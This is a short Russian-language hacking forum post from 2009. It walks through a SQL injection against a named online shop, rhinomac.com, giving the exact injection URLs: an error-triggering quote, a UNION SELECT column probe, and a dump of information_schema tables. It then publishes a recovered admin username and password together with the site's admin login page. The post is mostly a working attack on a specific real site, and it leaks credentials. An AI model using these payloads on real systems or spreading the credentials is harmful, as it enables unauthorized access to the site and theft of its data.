26.01.2009, 07:12
|
|
Новичок
Регистрация: 16.09.2008
Сообщений: 8
Провел на форуме:
102861
Репутация:
25
|
|
Всем приФФ =)
Вот какой-то.....что-то, типа магазина =)
Код:
http://www.rhinomac.com/
Скуль ругаеЦЦо тут
Код:
http://www.rhinomac.com/?action=listProducts&categoryId=-5'
5-я ветка скулЯ
5 полей(2 принтабельных)
Код:
http://www.rhinomac.com/?action=listProducts&categoryId=5+union+select+1,2,3,4,5--
Далее смотрим таблицы(а они у нас ФФСЕ) =)
Код:
http://www.rhinomac.com/?action=listProducts&categoryId=5+union+select+1,concat_ws(0x3a3a3a,table_name,column_name),3,4,5+from+information_schema.columns--
Выбираем интересные, а именно:
users ::: username
users ::: passwd
Итого получаем:
username: rgeist
passwd: test1234
ОдминкО:
Код:
http://rhinomac.com/admin/login.php
|
|
|